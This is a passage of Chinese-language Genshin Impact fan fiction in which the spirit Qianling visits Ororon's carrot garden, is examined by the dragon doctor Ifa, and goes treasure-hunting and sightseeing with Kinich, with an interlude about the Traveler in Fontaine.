花了好大一番功夫才解释清楚自己并没有那种打算。
千灵说得口干舌燥，咕噜咕噜灌了好大一口山泉水。
欧洛伦正在跟一个红萝卜道歉：“对不起。把你养得这么好，就是为了这一天。”
一边说着温和的道歉，欧洛伦一边技巧娴熟地将他手上的萝卜切碎，然后放进小屋里的机器里榨成汁了。
千灵双手捧着水杯，直愣愣地盯着欧洛伦。
熟练地道着歉然后将对方榨成汁了。
并且毫无心理负担地将新鲜的萝卜汁递到她面前。
“你要喝吗？”
欧洛伦注意到她的目光。
千灵立刻摇摇头，再摇摇头。
这一杯鲜红的萝卜汁，简直就像是活生生被榨干净的血啊！
其实要是普普通通的萝卜汁还好，她最多因为昨晚做的梦有点排斥，但是这家伙……这家伙跟萝卜说话的语气简直是把它当成了一个活生生的人。
这家伙……也是不可小觑的人物。
千灵严肃。
被拒绝了分享萝卜汁。
欧洛伦有些挫败。
多么美好的饮品，居然不能与人分享。他只能独自品尝。
这时候，他忽然靠近了一点千灵。
他的视线落在千灵系的歪七八扭的蝴蝶结上。
像是想起他们之前约定的一个秘密，欧洛伦的语气很正经：“他知道吗？”
“嗯？”
“基尼奇知道你可以变成人吗？”
欧洛伦十分认真地问。
“不知道。”千灵看了欧洛伦一眼，“被你知道也是一个意外。”
原本有些乌云的心情一下子被阳光照散。
童话一样的存在，轻而易举就能够解决掉深渊魔物。
对千灵认知完全错误的欧洛伦看向她。
只有他们两个人知晓的秘密，就像藏在土地里的萝卜。从外面经过，路人只会看见普通的绿叶，不知道底下已经结出了饱满的果肉。
“你可千万不要说出去。”
千灵紧张地提醒他。
欧洛伦相当坚定地点头。
远远的，千灵像是看到一个人影。
欧洛伦似乎还打算说什么，千灵“腾”的一下，迅速把水杯放到桌上，然后整个人像是气球爆炸一样，迅速炸成了一只小仙灵。
可恶！
今天是她的乌鸦嘴日吗！
怎么说什么来什么！
刚讲完不会迷路就迷路在森林里了。
刚拜托不要让基尼奇知道基尼奇就出现了！
欧洛伦转过头去。
“在聊什么？”
猎龙装束的少年走了过来，他像是刚跑完一个紧急的委托，经过了激烈的奔跑，或者什么追逐，以至于这样走路的动作都透露出一种利索。
“我们……我们……那个……”
拖延的时间越长，基尼奇的打量就越发令人深刻。
千灵纠结快要舌头打结，她绞尽脑汁地思考，一旁欧洛伦选择站出来替她回答。
欧洛伦：“我们在聊萝卜。”
“萝卜？”
基尼奇重复了一遍，望向千灵。
千灵想起早上她对蘑菇和萝卜发出的不正当言论，身子一凛，坚决地说：“是的。我们在争论，我这几天不太喜欢萝卜。”
她立刻就这样说了，像是下定了某种决心。
欧洛伦的身形似乎顿了顿。
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他缓缓地扭过头去。
眼睛里的光慢慢破碎。
千灵心虚地抹了一把额头。
对不起。
但我真的这几天不太喜欢萝卜。
……以及为什么不喜欢萝卜你怎么就一副失去了人生意义的样子啊！
欧洛伦维持着那种碎掉了的表情，将仅剩的萝卜汁递给基尼奇。
“你要尝尝吗？”
基尼奇：“……不用了。谢谢。”
“真的不考虑一下吗？”
如果说之前欧洛伦还有帮忙掩饰的部分，那么现在，他完完全全地掺杂了个人情感。
欧洛伦再次看向千灵：“萝卜汁很好喝。”
千灵觉得逸散出甜香气息的欧洛伦现在像一根大萝卜。
梦里被人拔出来的景象历历在目。
一个把她拔出来的人，基尼奇。
一个气味像萝卜的人，欧洛伦。
两个人都在近在面前。
并且千灵敏锐地感知到现在的气氛，像是基尼奇还想要把欧洛伦给拔出来。
千灵谨慎地后撤几步。
“最近做了有关萝卜的噩梦。”千灵说，“我怕我今晚回去又会梦到它们。”
欧洛伦坚持：“可是萝卜是无辜的。”
“既然她将无辜的蘑菇和萝卜都牵连了，”基尼奇似乎无比洞悉千灵的心理活动，他看向欧洛伦，“为什么认为不会波及到你。”
千灵：“。”
这话说得她好像个无恶不作听信谗言的昏君。
昏君千灵抬头望天：“你怎么来了？”
谏言的忠臣基尼奇摊开手上的地图，语气平静地说：“做委托路过的时候，看见你的地图被丢在了一群深渊魔兽的尸体附近。”
啊！
是之前被魔物困住的时候，慌乱之下丢掉的地图！
他还真是来护驾的诶。
这份地图是千灵一点一点自己根据经过的见闻描绘的，虽然精确度不怎么高，但一笔一画，都是她路过这个世界的证明。
千灵飘过去接住，语气无比真诚：“能被你捡到真是太好了。”
有那么一会，基尼奇没有说话，才低低地答应：“嗯。”
-
欧洛伦的小菜田还是有不少人会路过在意的。
千灵意识到这件事。
比如现在这位白头发的青年，胳膊搭在木栅栏上，语气随意。
“喂！欧洛伦！你怎么又在种菜。”
原本一副碎掉模样的欧洛伦恢复了平静，甚至平静得有些过头了：“那你怎么还在做兽医？伊法。”
千灵默默飘到基尼奇旁边，听到他们进行一些没有营养的交流。
“伊法？”
千灵小声念了念这个名字。
被叫到名字的青年顺势转过头来，头一回见到这种会说话的仙灵，他还挺稀奇的：“你叫我？”
千灵认真点头：“嗯。你一定很会治理国度吧？”
伊法：“啊？”
火神大人在上，他可没有篡位夺权的决心。
千灵在思考。
那维莱特告诉过她。在枫丹，法律是不容置疑的存在，是一个国家的根本。
千灵严肃地表明：“依法治国。”
基尼奇：“……”
伊法困惑。
他不解地歪了歪脑袋。
基尼奇叹了一口气：“他是龙医生。伊法治病。”
伊法看了看千灵，又看了看欧洛伦。
怎么？是他新找来的病人？
他犹豫地说：“啊是的。我主要负责治病。只不过……呃，跟现在这情景差距有点大。”
虽然他不止对龙有研究病理，但是他也是不治脑疾的。
不过想到既然这位是欧洛伦的朋友。伊法看了一眼千灵，露出了然的表情。
他心说，那倒也正常了。
17.17
治疗受伤的龙，在纳塔有这样一种职业。
就像治人的医生，伊法是治龙的医生。
“正好。”欧洛伦指了指千灵，“你来看看她有没有受伤。”
伊法：“嗯？”
“她的灵魂有缺损。”欧洛伦说，“就像我一样。”
这个话题似乎很微妙，伊法看上去还想再推脱的样子，这下不知道为什么莫名梗住，把眼神投递到千灵身上：“好吧。小家伙，过来让我看看？”
千灵警惕地缩在基尼奇的肩膀上。
“伊法不是坏人。”
基尼奇说：“阿乔也找他看过病。”
“你还真是听他的话啊？”
基尼奇这样说了之后，千灵才不情不愿地飘了过去。
伊法有些哭笑不得，站直了一点，俯身悄悄打听：“你也跟他签了契约？”
契约？
也？
千灵机灵地捕捉到关键词，她仰起头，也不由自主地悄悄问：“谁跟他签了契约？”
“阿乔啊。不然怎么能这么听话的待在他身边。”伊法笑眯眯地说，“就阿乔那脾气，就得多打几针才能乖得下来……”
千灵：“……”
千灵默默后退几步。
虽然现在还是光天化日，朗朗乾坤，但她觉得伊法现在的表情和语气，仿佛将她包括在内的生命，都当作可以拆解的骨头或者是生吃的肉，挨个挨个细致地解剖。
任何关于身体的谎言，都不能骗过他们的眼睛。
“不要说谎哦。”伊法轻描淡写地说，“曾经我在采药的路上遇到过一个碰瓷的，据说是被我撞到骨折了。那个人挡到了我的路。”
千灵小心翼翼：“……然后呢？他的坟墓埋在哪里了？”
“你个小鬼头！一天到晚都在想什么啊？”
伊法弹了下她的脑门。
千灵捂住额头“哎呀”叫唤了一声。
“医生是救死扶伤的啊。对这个职业到底有什么偏见？”伊法托着下巴说，“我当然是好心给他诊治了。”
“不过因为我救助的对象通常来讲都是龙了，而龙要比人皮糙肉厚得多……”
“所以，”伊法笑眯眯的，“我还没有完成一个疗程，被摔断的骨头突然就自己接好了，他忙不迭地连滚带爬地跑了，简直是医学奇迹啊！”
千灵：“……”
惹谁都不能惹医生。
这点，千灵在梅洛彼得堡已经充分体会到了。
现在更是加深了刻板印象。
“我还没见过你这样的仙灵。”
伊法把试图后退的千灵拎起来，转了个圈，又转回去。她原本就松松垮垮的小披风更是差点掉下来。
千灵觉得自己像一个台风天的晴天娃娃，被伊法这样转得脑袋都有点晕了。
“是哦。我是来纳塔找宝箱的。”
“你也找宝箱？那就跟基尼奇是同行了？同行相轻啊。”
“我只是要找到就可以了。”
千灵在“找到”上面咬字：“我不要宝箱里的宝藏的。”
“那你可真有奉献精神啊。”
伊法随意说，准备搭脉，想起这是只仙灵，正要跳过这个步骤，却看见千灵在小斗篷阴影底下的双手。
“嚯！”伊法挑眉，“可不得了，我还没见过长手的仙灵。”
千灵诚实说：“基尼奇用木头筷子捏出来的。”
伊法：？
伊法惊讶：“这还能捏？”
千灵伸手，握拳捏紧，又张开：“是啊。可惜我现在力量还太少，只够捏出来一双手的。不过也比之前方便多啦。”
小小的手伸到伊法面前，握紧小拳头的时候像刚蒸出锅的奶油馒头。伊法好奇地打量。
“没什么好惊讶的吧。”千灵困惑地说，“你都给萝卜看病了诶。”
伊法：“……是龙！是龙！谁跟你讲的我给萝卜看病啊？”
“好啦知道啦。我也不是聋的。”
关于残破的灵魂，伊法虽然没有欧洛伦那样拥有敏锐的感知，倒是也能看出一点蛛丝马迹，毕竟他的天赋都点在了治疗上。
“确实哦。”伊法检查了一会，说，“感觉你的灵魂状态不太好，虚无缥缈的，很轻。”
千灵虚心地听着：“那药方是什么呢？”
“给你的灵魂增点重吧。”伊法说。
增重……？
千灵：“我还要再多吃吗？”
这几天在基尼奇家已经吃香喝辣好久了，幸好她是一只小仙灵，没事还可以虚空做深蹲锻炼身体。不然就要变成胖仙灵了，一个宝箱都塞不下。
“据说纳塔生长的苦种淋上一杯牛奶，再加点糖久能做成风味别致的巧克力。还有一种叫做塔塔可的带馅薄饼，每户人家所用的酱汁都不一样……”
千灵开始憧憬起来。
“不是吃的。”
伊法一脸无奈地打断了她：“年纪轻轻怎么一天到晚就想着吃。”
倒也没有年纪轻轻。
千灵默默腹诽。
“我的意思是。你可以每周定时去森林，溪流之类的地方。”伊法弹了弹她的小披风，这种材质的生命体还真不多见，想多玩弄一会，“感受一下大自然的气息。尤其是那种风景鲜艳的高山。”
“对了。基尼奇不是悬木人吗？”伊法想起来，“他应该知道很多这样的地方吧？”
-
千灵问诊的时候，基尼奇和欧洛伦正相顾无言。
主要两个人都是话少的类型，似乎也没有什么共同话题。
而欧洛伦在数蘑菇。
“你们刚刚在聊什么吗？”
基尼奇压了一点声音，他看向千灵，小仙灵正跟龙医生进行一些灵魂方面的交谈，没有注意到他们这边。
于是基尼奇重复问了一遍，最开始他就问的问题。
欧洛伦低着头，似乎犹豫了一会，才回答说：“没有聊什么。就是在说萝卜。”
基尼奇没有再重新问，他取下自己手腕上坏掉了有一阵子的腕表。
点了点，显示出一张证件照，举到欧洛伦面前。
画面上，拥有蜷曲长发的少女直视着镜头，似乎透过屏幕与人类对视。
基尼奇遮盖住了旁边关于通缉的小字部分。
“那么，你见过这个人吗？”
“没有。”
这回，欧洛伦回答得很快。
基尼奇也没再说什么，像是料定了对方也不会有什么反应。他安静地望向千灵幽蓝色的小披风，又看向这张照片。
“她的发色跟仙灵很像。”基尼奇说。
“有吗？”欧洛伦的语气里有一丝讶异，“哇。可能是巧合吧。”
“说不定你也见到过。”
基尼奇的视线从千灵身上挪开，又转向欧洛伦对面的空座。
他起身。
经过千灵之前坐过的板凳，修长的手指轻轻摩挲过木凳的边缘。
——被倒刺勾住的，是一根幽蓝色的卷发，尾端有天然的蜷曲。
像童话故事里，一不小心露出来的狐狸尾巴。
风吹过，调皮地跳了跳。跟主人一样的不着调。
基尼奇抓住它。
然后将它饶了绕，系在一片掉落的叶子上，装进口袋里。
他无事发生一样，向千灵和伊法走去。
“这样说起来的话，说不定是因为来纳塔的时候，路过了须弥。”
千灵正在跟伊法探讨自己为什么会灵魂变轻的问题。
“须弥的沙漠好晒，干巴巴。也没有很多水。我都要干啦。”
她发出一些抱怨。
基尼奇走过来，礼貌地向伊法打过招呼。也没有插进去他们的对话，在旁边等着。
又继续漫无边际地聊了一会，千灵才猛然惊醒。
“对哦！阿乔呢？”她转头问。
“在关禁闭。”基尼奇淡淡地说。
感觉这段日子里听到最多的话就是阿乔被关禁闭了。虽然阿乔嘴上很暴躁，但是怎么能活得这么窝囊。
有种谁都可以惹它一下的错觉。
吃过午饭，伊法和欧洛伦跟他们挥手。
伊法叮嘱说：“记得去一下风景好的山上逛逛吧。”
“下次再见。”
他们这样说。千灵再次注意到这个词。
有缘的话。
有时间的话。
下次再见。
那位愚人众也这样说，但并没有留下什么关于有缘的线索，也没有提及具体的时间。
离开的路上，基尼奇看出她的心不在焉。
“那现在……”
“哦哦！”千灵打起精神，说，“我带你去找宝箱！”
虽然不知道属于自己的宝箱到底被弄丢在哪里了，但是还是有一些普通的宝箱，藏在隐蔽的树林里，或者是山洞。
千灵对于这些宝箱的存在也十分敏锐。
“就像是灰色的格子里，突然有糖果色的气球。”
千灵比划了一下。
“你吃过巧克力球吗？”
基尼奇突然问她。
咦？
他难道听到了之前她跟伊法探讨“灵魂增重”的问题了吗？
那时候千灵以为是单纯的吃，还期待了好一会有合理的理由能够大吃特吃纳塔的美食。
千灵老实地摇摇头。
“说实话，我来纳塔以来，吃到的第一顿好吃的，就是你做的骨头
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汤。”
因为那天事发突然，那锅骨头汤是用剩下的肉块，和路边随手采摘的蘑菇随意闷炖的，完全没放什么特色的香料用来调味。就连阿乔都略有嫌弃。
基尼奇沉默了一下。
而千灵已经开始回想起他们遇到的第一天。外面的雨很大，但是借住在基尼奇的家里，还有暖烘烘的烤炉和小窝，她和小匿叶龙挤在一起，知道外面再大的雨水也不会淋到他们身上，面前还有一锅热乎乎的肉汤。
“感觉真的很好吃啊。”千灵憧憬着说，“你什么时候可以再做一次呢？”
基尼奇这回沉默的时间更长，长到千灵疑惑地望过去，以为他要拒绝了，这时候他突然语气坚定地说：“我们今天晚上去吃火焰炖肉。”
千灵困惑：“火焰炖肉？”
“一种辣味的炖肉，加上番茄和洋葱，香味很浓厚。是庆宴上会做的主菜。”基尼奇像是下定了决心，他说，“今晚就做。”
虽然不知道他为什么突然这样坚定，可能是什么送她走之前最后的晚餐吧，但是……
有好吃的诶！那还需要再管什么呢？就算要离开又怎么样呢？
这可是白赚的大餐！
千灵开心地笑起来，挥了挥小拳头：“好耶！”
很快，千灵就寻找到了几个散落在野外的宝箱，但因为她飞行的速度实在是太慢，当基尼奇跟在她身后的时候，甚至一路还顺手挖了一兜的矿，采了几个野生的蘑菇。
——即使这样都没有跟丢。
所以千灵干脆坐在基尼奇肩膀上了，发号施令。
“左转。”
“右拐。”
“在那个山洞里，有点高——”
话音刚落，基尼奇就带着钩锁荡了上去。
千灵：“……”
好吧。
这就是纳塔人。
这些普通的宝箱里也装有一些金色的羽毛，冒险家的物品，还有一些摩拉。
基尼奇收拾的时候，千灵百无聊赖地在空气画圈圈。
直到基尼奇把一个袋子举到她面前。
千灵：“嗯？”
基尼奇：“给你的。”
千灵：“我不用啦。”
“这是你找到的宝藏。”基尼奇说，“理应有你的一份。”
“是这样的。”千灵严肃地说，“我不能要宝箱里的东西。”
基尼奇盯着她，问：“为什么？”
千灵呆住了：“诶？”
她从来没考虑过这个问题，被问得整只仙灵都没有飘了。
“硬要说的话……”千灵绞尽脑汁，寻找到合理的说法，“大概是本能？就像鸟儿要飞翔一样。而树木怕火。”
千灵有千灵的原则。
但是猎龙人也有自己的行为准则。
显然，基尼奇并不赞同这样的做法。他原地思考了一会，继续说：“那你收下。”
千灵摆摆手：“说啦真的不能拿宝藏里的……”
“这不是宝藏里的。”基尼奇无比坦然，翠色和金色交织的眼眸格外平静，“是我选择送给你的。”
千灵：……诶？
基尼奇：“这样，你能收下了它么？”
千灵稀里糊涂的：“好像、好像可以了？”
“好的。”基尼奇颔首，似乎想通了什么，“我明白了。”
虽然隐隐约约还是觉得有什么不对。
千灵想了一会。
没想明白。
算了。那就不想了。
这下今天的任务，去帮欧洛伦找萝卜，给基尼奇找宝箱，都完成了。
她长叹了一口气。
真不容易啊。
这时，她想起伊法的叮嘱。
千灵扯了扯基尼奇的袖子：“你可以带我去找一下那种风景很漂亮的山么？”
基尼奇看了一下外面的天色。似乎有些晚了。
基尼奇：“可以。下次带你去。”
下次。
千灵再次想起遇到的愚人众，短暂告别的欧洛伦和伊法。
“有缘的话。”
“下次见面的话。”
“有时间的话。”
“那，下次是什么时候呢？”
基尼奇转过头去。
这只仙灵这样真诚地询问着，幽蓝色的灵体像燃烧的火焰，像缓慢生长的新芽。
千灵眨眨眼，疑惑地问：“你也要下次再带我去吗？”
似乎是想要确定一个具体的时间，而不是漫无目的，没有盼头，游荡在荒野，等待一个偶然经过的冒险家。
那个人可能会来。
也可能永远不会来。
基尼奇思考了一下，抿唇说：“那‘下次’，就是现在吧。”
18.18
旅行者认为，最近这段时间，枫丹的降水量过于猖獗了。
连带着最近的委托都基本是这样的主题——
“半年回一趟家发现角落的瓷砖已经被蘑菇顶裂了。”
“放在桌上的炸薯片第二天早上就变得软趴趴的，小狗都不爱吃了。”
“被子十分潮湿，高薪聘请拥有火元素神之眼的人帮我烘干。”
“最后一个委托开到了好高的原石啊！”派蒙这样感叹。
“可恶。”还没获得火元素的旅行者狠狠叹气，“等我去纳塔！”
……或者，换个方法？
解决不了问题，就解决这个问题源头的人——哦不，龙。
颇有人脉的旅行者推开沫芒宫的大门。
“旅行者？”
正在翻看公文的那维莱特注意到这位突然到访的客人。
沫芒宫的玻璃窗折射出琉璃的碎光，白发的龙族礼貌地颔首。
他面容平静，一贯如此，似乎并没有携带多少的情绪。
然而淅淅沥沥的雨声，透过窗户都传了进来。
外面的雨实在很大。
自从知道那维莱特心情低落的时候真的会下雨，每每看到他这副表情，都有一种再不管他晚上就会缩在被子里哭的错觉。
旅行者：“……你最近还好吗？”
“嗯。”那维莱特这样回应。
旅行者：“没有发生什么吧？”
“嗯。”那维莱特点头。
旅行者：“……”
完全是已读乱回的状态啊！清醒一点好不好！
不对劲。
旅行者心想。
这很不对劲。
但是询问了一下美露莘，也说最近枫丹没有什么大事。只有刚刚结束了预言危机，灾后重建的任务相当紧凑。
难道是忙不过来？
旅行者这样猜测。
与那维莱特告辞之后，倒是在沫芒宫门口遇见了一位带着白猫的青年，十分苦恼地跟美露莘说着什么。
“审批单还没有下来吗？”那个青年抱着猫问，“我只是想去送信。”
“抱歉。”美露莘摇摇头，“还在流程里。”
乐于助人的旅行者走上前：“是遇到什么困难了吗？我可以帮忙。”
“嗯？”青年的眼神有些怀疑，“你可以吗？”
旅行者十分骄傲的语气：“我可是出入梅洛彼得堡如无人之境。”
派蒙：“……这种事情听上去也不值得炫耀吧！”
总之，这位名叫“格里斯潘”的青年受人所托，要送一封交到梅洛彼得堡的管理者手里。
“那就去找莱欧斯利吧。”旅行者的目光透露出一些怀念，“突然有些怀念监狱踩螺丝钉的生活了。”
格里斯潘望向旅行者的眼神顿时变得十分复杂。
-
非常有趣的是，这位格里斯潘要送的信居然来自纳塔。
“都没有在别的地方见到过纳塔人？”旅行者奇怪，“怎么突然与梅洛彼得堡有关联？”
“我倒是有在那边听说，”格里斯潘深深叹气，“咱们国家的人跑去纳塔偷龙，然后赶紧犯点小罪，躲到梅洛彼得堡以防被抓。”
旅行者：“……”
怎么说呢。脑瓜子还挺灵光的。
藏污纳垢啊。莱欧斯利。
入口登记处的接待员已经很眼熟了旅行者和身边的这只白色漂浮物了。
向她保证自己会一直看着格里斯潘后，一行人走到了地下拳场，还遇到了在一旁观战的克洛琳德。
“莱欧斯利？”克洛琳德似乎想起了什么高兴的事情，她不易察觉地勾了勾唇角，“来。这边。”
语气像是带人去玩桌上剧团一样。
旅行者和派蒙对视一眼，疑惑地跟上。
阴森的监狱。
潮湿的水管。
里面的房间不断传来几声金属碰撞的响动和挣扎的低吟，像是在进行着某些“秘密审讯”。
“旅行者来了。”
克洛琳德走在最前面，敲了敲敞开的铁门。
那些痛苦的挣扎声戛然而止。
格里斯潘默默抹了一把额头的汗。
“啊。没想到还能在这里再见面。”
莱欧斯利活动着手腕，从黑暗深处的房间里走出来，挑眉看向这一群人：“有活？”
克洛琳德：“有公文。”
嗯？好像只是一封信？
旅行者疑惑地望向克洛琳德。
克洛琳德比了个眼神。
而莱欧斯利像是被这几个字噎到，深吸了一口气，抬手接过旅行者手里的信件。
“……好吧。”莱欧斯利的语气里有一种认命般的顺从，“我会逐字逐句地看完的。”
“听说梅洛彼得堡的桌子腿并不怎么整齐。”克洛琳德突然这样对旅行者解释，“是因为最近公爵大人，将那些用来垫桌椅的繁杂公文都挨个收了回去。”
旅行者：？
水上有一只龙郁郁寡欢这么多天。
怎么水下的公爵变得也如此奇怪？
枫丹又冒出来什么危机了吗？
而克洛琳德却对现在的情景很满意：“不错。这些繁杂的手续经过公爵之手，后面的流程都推进得效率许多。”
在几人讨论的时候，莱欧斯利逐字逐句地将这封信看完。
他像是突然振奋了起来。
“有兴趣接一个委托么？旅行者。”
旅行者：“怎么？”
现在莱欧斯利的神态实在是太奇怪了。
三个人像是有什么秘密。
“不必在意。”克洛琳德抱臂，说，“自从放跑了一个‘犯人’之后，他就成这副样子了。”
旅行者：“逃犯？”
“嗯。明面上的逃犯。”莱欧斯利折叠起信纸，随意晃了晃，“怎么样？旅行者，考虑么？听说你即将启程去纳塔，也算是顺路？”
“我们冒险家可是很忙的。”
旅行者直觉最近枫丹的气氛不太正常，稍微有些警惕。
“啊。那真是太可惜了。”莱尔斯利故作遗憾地叹气，“最近希格雯护士长捡到了很多……叫做什么？原石的石头。”
旅行者顿了顿。
旅行者大义凛然：“为公爵大人分忧，吾辈义不容辞！”
-
“枫丹的法律……”
“嗯嗯嗯？？”
千灵被里面的关键词应激，差点在基尼奇的脑袋上栽个跟头。
她立刻紧张起来：“咳咳！什么？什么法律？”
“只是想起你刚刚说‘依法治国’之类的话。”
基尼奇摆荡到一处比较高的山峰，像是全然没察觉到她的慌乱。
“听说啦只是听说啦……”
千灵声音渐渐弱下去，所幸之后他也没有紧追着这个问题不放。
呼——
千灵心有余悸。
真是长出了一口气。
还好他没有太在意。
说明我的演技还是可以的嘛！
将近黄昏，夕阳的色泽相当爽快地泼到了群山的山脉，就连不好好飞行的白鹭都不幸被染上黄昏的一角。
这个地方有些眼熟。
好像是之前陪多巴那个小孩子找到的新的秘密基地。
那时千灵在这里发现了基尼奇小时候的涂鸦。画着一条龙，在山崖间的石壁上。
但是并没有仔细看。
基尼奇今天带她走的是另一条小径。
这里穿梭的风声像古老的歌。
而山路的底端，有一对父母带着只有两只仙灵那么高的小孩子，旁边还有只同样不大的小龙。
他们正在用石头剪刀布比赛爬台阶。
小孩子的腿短短，出拳的速度总是慢半拍，狡猾的妈妈便故意看清她的动作，再更改了自己的出招，没比赛几个回合就跑远了。
急得小龙都咕噜咕噜地顶着小主人的胳膊。
基尼奇远远地路过，也向他们看过去。
千灵也开始感慨：“好温馨哦。”
直到年轻的母亲都快走得没了影子，小孩子只好大声向父亲求助：“爸爸！妈妈出的是什么呀？”
爸爸说：“你出的是什么？”
“拳头。”
爸爸温和地回答：“嗯。那妈妈出的是布。”
千灵：“……”
好的。
打扰了。
从某种角度来说，你们家也还挺和谐的。
抢先一步来到台阶顶上的年轻妈妈在布置一个漂亮的蛋糕。
这个蛋糕与平时吃的不太一样，千灵闻到其中郑重而充满温和的情绪。
千灵心想，原来错怪她了。
她有点好奇。
“那是什么呀？”千灵小声问。
“生日蛋糕。”基尼奇说。
哦。是生日蛋糕。
千灵知道生日这个概念。
据说是为了庆祝一个新的生命降临到这世间，就像一个崭新的，等待被时间推动的怀表。
“听说这一天向爸爸妈妈许的愿望都有可能实现诶。”千灵问，“你许过
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什么吗？”
千灵突然意识到，好像这么些天都没听他提过关于自己的父母。
敏感的仙灵感知到一阵关于风的波澜。
“嗯，哈哈哈哈我就随口一说啦。”千灵转移话题的本事不太高明，“你看这里真漂亮啊。”
基尼奇像是笑了笑，带着她继续往山上走。
他看向千灵。
脑海里，想象出她飘荡在山野之间，等待有人经过的小小身影。
其实他并不是一个世俗意义上“热心”的人。
带她寻找这样的山，或许是因为他觉得……他们是相似的。
关于很多事情，基尼奇都会以代价去衡量。
所以他比谁都清楚一件事。
没有终点的等待叫流浪。
他们走了有一会了，两个人陷入诡异的沉默。这时千灵回过头，看见那个年轻妈妈鬼鬼祟祟地打量一圈，趁着没人，自己率先动手，先挑了一颗品色最好的水果给尝了尝。
千灵：“……”
收回之前觉得错怪了她的话。
“许什么愿望果然也不算是最重要的吧。”千灵突然郑重其事地飘了下来，到基尼奇跟前。
基尼奇眼神里透露出一点疑惑：“嗯？”
“选择向谁许愿也很重要的。”
暮色的山野，童话一样的精灵在他面前。
基尼奇停下脚步。
“你也可以……”
她的声音一开始轻轻的，然后变得坚定起来。
伴随着耳畔的风声，基尼奇忽然有些走神，想起古老的传闻。
据说仙灵是一种退化了的种族，是由高天派来指引人类，对人类抱有天然的怜惜，像滋养珍珠一样呵护着人类。但凡向她们提出帮助人类的愿望，哪怕是要牺牲自我也如同法则一样自然。
“向伟大仙灵许愿吧。”
顿了顿，基尼奇点头：“好。”
-
“可恶！冤家路窄！”
刚说完炫酷台词的仙灵突然变得暴躁起来。
产生这样变化的契机，是千灵敏锐地察觉到树丛后有一伙正在分赃的盗宝团开始。
基尼奇问：“怎么了？”
“我……”纠结了一会，千灵还是坦率地承认了，“我来纳塔之后，摩拉就是被他们抢走的！”
一般来说，指引宝藏的仙灵也通常不会被抢走摩拉。
那群盗宝团是光明正大，在她去林间找地方睡觉的间隙，直接拿走的。
千灵那时候敢怒不敢言。
怕万一自己一说话也被他们用一麻袋揣走。
“那可是我辛辛苦苦攒的呢……”千灵好心痛的，“拧了好几天的螺丝钉。害我来这里之后一直在找宝箱睡。”
完全没注意自己已经完全暴露了，千灵沉浸在痛失摩拉的沮丧，整只仙灵看起来都蔫答答的。
“想要找回来么？”
“嗯？”
“可以让他们还回来。”
“真的吗！”
千灵惊喜地凑近基尼奇，他不大自然地拉开一点距离，点头说：“可以的。”
“你真是个好人啊。”千灵真情实感地这么感慨，几乎快要感动落泪了，“纳塔还是好人多呀！”
听到这样的赞扬，基尼奇反而像是没有之前那样高兴了。他整理了一下千灵的小披风：“你还有没有什么想做的？”
这话说得反而他更像是那个有求必应的仙灵了。
“感觉得告诫他们一下，”千灵又开始背诵那维莱特的公文，“加强公民道德，就要有敢于奉献的精神。规范自身行为，争做道德标兵。”
“这种语气……”针对仙灵提出的《关于进一步加强纳塔盗宝团道德建设的意见》口述稿，基尼奇委婉地评价，“可能吓不到他们。”
千灵想了想。
“那……洗心革面，从头开始，学海无涯，回头是岸？然后我冲上去，狠狠地抢回——夺回属于我的摩拉？”
“好像还是没有很大的气势。”
“确实哦。”
千灵转了转自己小披风的飘带，苦恼地思考。
“或许可以多练几次。”基尼奇说。
“诶？这也可以练习的吗？”
“嗯。就当是训练你的胆子。”
基尼奇比划了一个手势，在进行无实物表演。他晃了晃手上不存在的摩拉。虽然这看上去更像是指向心脏的位置。
经验丰富的猎龙人布下一个都懒得用树叶遮掩的，几乎算得上是相当挑衅的陷阱。
他轻声问：“敢来抢我的吗？”
19.19
漂亮也是有攻击性的。
千灵意识到这个事实。
即使她见过了很多很多的人，很多很多动人的景色，然而就在此刻，在夕阳下，少年人的面容格外清晰。
……不妙。
不妙不妙不妙。
大事不妙。
太糟糕了。她的心跳实在好吵。
千灵倒吸一口凉气，谨慎地往后退。
“我突然觉得，放他们一马也不是不行。”
基尼奇：“嗯？”
他似乎对她这样飞速转变的态度搞得摸不着头脑。
而千灵被他这样的语气有些逗笑了。忘掉了刚刚才浮现上来的警惕之心。
伊法告诉她，她要多沐浴漂亮的景色，为自己的灵魂增重。
千灵切实地感知到了自己灵魂的分量有在变化。
如果说之前是一个气球，那么现在勉强算是勾住了一根细细的牵引绳。
千灵望着这里的景色。
确实十分漂亮。
但她有点迷糊了。
到底是因为漂亮的景色，还是因为面前这个漂亮的人呢？
毕竟人类社会里也有一个词，叫做秀色可餐啊。
“咕……”
想到吃的，千灵的肚子叫了叫。
好吧。
单纯的美色还是不能填报肚子的。
“我想吃你之前提到的火焰烤肉！”千灵对基尼奇说，“今天什么时候可以吃上呀？”
毕竟她还答应了阿乔，等给他们支付玩报偿之后，绝对绝对不要留下来的。
最后的晚餐。
没想到还是挺有仪式感的。
呜呜其实还是有点不想走。
有免费的小窝住，每天还有好吃的。真是舍不得。
千灵趴在基尼奇的脑袋上，仰头去看逐渐下沉的夕阳，听他在山林之间荡来荡去的风声，呼呼地从她的耳边吹过。
他的头发好多，左边还编了一簇，右边也编了一簇，额前的发带捆在脑袋后面，蹭得千灵浑身都感觉痒痒的。
以后还能遇到这么好睡的头发了吗？千灵想在他的脑袋上也扎个窝。
可是小匿叶龙也跑掉了，自己也没有继续留在他家里的理由。
不如说对方肯收留她这么多天已经是超幸运了。
即使千灵还想这样一直一直白嫖地住下去。
但不可以。
她好忧伤。
可是现在她躺得真的好舒服。
所以千灵在基尼奇的脑袋上睡着了。
睡得很香。
并且还做了个梦。
-
千灵其实并不经常做梦。但她仅有的几次做梦里，都与她的过去，她的未来有关。
即使她醒来之后都会忘记得很快，只留下模模糊糊的印象，但只要一做梦，过往那些梦的记忆都能迅速地回想起来。作为代价，关于现实的记忆又像蒙了一层水雾。
换种说法。
千灵觉得自己的脑子应该是个单核处理器。
只能存储“梦境”，或者“现实”单侧的记忆。
如果要处理双侧的记忆就开始烧cpu了。
在之前的梦境里，千灵知道了她的未来，死在燃烧的火焰之间。
千灵也知道她的过去。
在一座巨大的摩拉山下，被一条古老的龙族赐予了属于自己的宝藏。
她要等待一个人，她要指引一个人去找到这份宝藏。
可是这份宝藏先被她弄丢了。
梦境的画面像戏剧一样慢慢清晰起来，表演的演员们登上舞台，布景，调试灯光。
千灵眨眨眼。
今天这出梦的主角——竟然是之前在遗迹里看到的，疑似小匿叶龙的主人，奎伊露！
千灵不确定她记不记得自己。
千灵抬起手，尴尬地挥了挥：“你好呀？”
奎伊露像是被千灵这样有些傻气的表情给逗笑了，她挑衅地哼笑了一声。
千灵：“……”
好难猜哦。
她的心思。
